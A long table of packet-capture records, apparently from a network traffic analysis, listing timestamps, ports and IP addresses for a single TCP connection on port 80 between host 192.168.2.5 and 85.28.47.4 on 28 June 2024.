Jun 28, 2024 13:36:05.554389954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554398060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554413080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554413080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554424047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554434061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554435015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554444075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554454088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554455042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554462910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554474115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554482937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554486990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554493904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554516077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554538012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554819107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554830074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554838896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554848909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554857969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554860115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554867983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554893970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554914951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554958105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554969072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554979086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554994106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554997921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555012941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555021048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.555022955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555032015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555051088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555059910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555061102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.555071115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555080891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555089951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555092096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.555099964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555103064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.555109978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555119038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555129051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555131912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.555140018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555150032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555156946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.555197001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.555629015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555639982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555649042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555660009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555670023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555670023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.555680037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555689096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.555695057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555706024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555711985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.555716038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555725098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555731058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.555732965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555754900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555767059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555767059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.555787086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555797100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555804014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.555807114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555816889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555826902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555834055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.555835962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555845976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555855989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555865049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.555865049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555875063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555885077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555893898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555896044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.555903912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555915117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555923939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555927038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.555933952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555943966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555953979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.555958986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.555989981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.556653976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556664944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556674957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556684971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556694031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556701899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.556703091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556713104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556721926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.556740046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556742907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.556751013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556761026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556771040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556781054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556783915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.556790113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556801081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556809902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556816101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.556819916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556829929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556838989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.556840897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556849957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556860924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556863070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.556869984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556880951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556890011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.556895971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.556925058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.557125092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557136059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557146072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557163954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.557167053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557183027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.557218075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.557246923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557257891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557265997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557276964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557285070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.557286978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557321072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.557509899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557521105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557531118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557547092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.557554007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557564020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557573080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557579041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.557583094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557593107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557602882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557611942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557617903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.557624102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557632923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557637930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.557643890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557653904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557661057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.557663918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557676077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557682037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.557704926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.557858944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557868958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557878971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557897091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.557907104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557918072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557926893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557931900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.557938099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.557966948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.558135033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558146000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558155060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558170080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.558177948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558187962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558197975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558202028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.558208942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558218956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558229923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558238983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558238983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.558264971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.558285952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.558458090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558469057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558490038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558494091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.558506012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558516026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558526039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558527946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.558536053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558545113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558557034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558563948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.558566093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558577061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558585882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558593988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.558597088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558610916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.558633089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.558784008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558794022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558804035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558813095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558820963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.558824062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558841944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.558865070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.558876038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558892012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558902979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558912039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.558913946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558923006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558929920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558931112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.558934927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558939934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558945894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.558952093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.558990002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.562361002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.562407017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.562410116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.562417030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.562439919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.562458038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.638721943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.644817114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818239927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818267107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818278074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818288088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818315983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818327904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818337917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818347931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818358898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818358898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.818368912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818418026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.818464041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818475008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818485022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818494081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818504095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818509102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.818535089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818546057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818552971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.818556070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818593979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.818598986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818617105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.818631887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818641901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.818651915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.818671942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.818695068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.819030046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.819041967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.819051027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.819061041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.819071054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.819080114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.819081068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.819091082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.819099903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.819113970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.819128036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.819176912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.819783926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.819792986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.819803953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.819835901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.819847107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.819856882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.819868088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.819870949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.819881916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.819890022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.819921017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.820045948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820055962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820065975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820075035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820086002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820094109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.820096016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820106030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820115089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.820116043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820127964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820137024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.820173979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.820452929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820462942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820476055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820489883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820501089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820511103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820519924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820528984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820533037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.820533037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.820538998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820549011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820570946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.820600033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.820627928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820637941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820647955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820657015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820667028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820671082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.820677042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820687056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820696115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820703983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.820707083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820717096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820727110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820738077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820744038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.820763111 CEST	49705	80	192.168.2.5	85.28.47.4
